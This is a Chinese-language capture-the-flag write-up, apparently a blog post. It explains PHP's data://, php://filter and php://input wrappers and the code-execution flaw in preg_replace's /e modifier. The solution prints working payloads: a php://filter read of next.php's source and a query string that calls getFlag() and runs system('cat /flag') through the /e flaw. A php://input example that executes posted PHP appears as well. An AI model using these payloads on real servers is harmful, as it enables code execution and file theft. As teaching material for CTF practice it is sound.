伪协议与preg_replace /e模式
题目

解读:使用get传入参数,要求使用file_get_contents读取text内容,需要和I have a dream全等,之后检查file的参数是否有flag,还有下面包含了next.php文件
知识:
-
函数
-
file_get_contents:将文件读入一个字符串
-
preg_replace
语法:mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )
首先第一个pattern是一个需要执行的正则表达式,replacement这个是需要替换的字符串,subject是原文本,需要在其中匹配的原文本,匹配到了就把replacement替换
/e 可以解析正则表达式,存在代码执行的漏洞 修正符:e 配合函数preg_replace()使用, 可以把匹配来的字符串当作正则表达式执行;
\s 空白符
\S 非空白符
[\s\S]任意字符
[\s\S]* 0个到任意多个字符
[\s\S]*? 0个字符,匹配任何字符前的位置
/1 例子:re.match(r'<([\w]+>)[\w]+</\1','python ')
\1表示使用编号为1的分组,在前面有个括号([\w]+>) 这个括号内的就表示是编号为1的分组,如果这个正则表达式中有多个括号,就是说有多个分组,然后想复用第n个分组,就加一个\n -
-
协议
- data协议
data协议使用方法则是:
text=data://text/plain,I have a dream或者text=data://text/plain;base64,base64编码,固定语法
2.php://协议
php://filter 读取源代码并进行base64编码输出,不然会直接当做php代码执行就看不到源代码内容了。
使用方法:php://filter/read=convert.base64-encode/resource=文件名(对文件进行base64编码并读取显示)
php://input 可以访问请求的原始数据的只读流, 将post请求中的数据作为PHP代码执行。
使用方法:php://input,然后post需要执行的数据 如http://127.0.0.1/cmd.php?file=php://input 然后在post中<?php phpinfo() ?>
协议总结

解题
之后使用data写入字符让他读取
?text=data://text/plain,I have a dream

之后就想办法读取next.php
使用php://filter协议
&file=php://filter/read=convert.base64-encode/resource=next.php

之后解码拿到源码

这里使用了preg_replace + /e模式说明可以执行代码
foreach使用了键值分离,之后看了wp的payload
?\S*=${getFlag()}&cmd=system('cat /flag')
这里使用的是键值分离就不用id传入
之后\S就是$re \(str就是\){getFlag()},然后传入了cmd参数并执行就得到了flag,为什么不使用.呢,因为他匹配的是所有,会匹配到其他的。
做题思路
思路就是利用该漏洞,调用getFlag函数,然后利用cmd的一句话木马去找到flag.

协议和替换 /e模式使用
浙公网安备 33010602011771号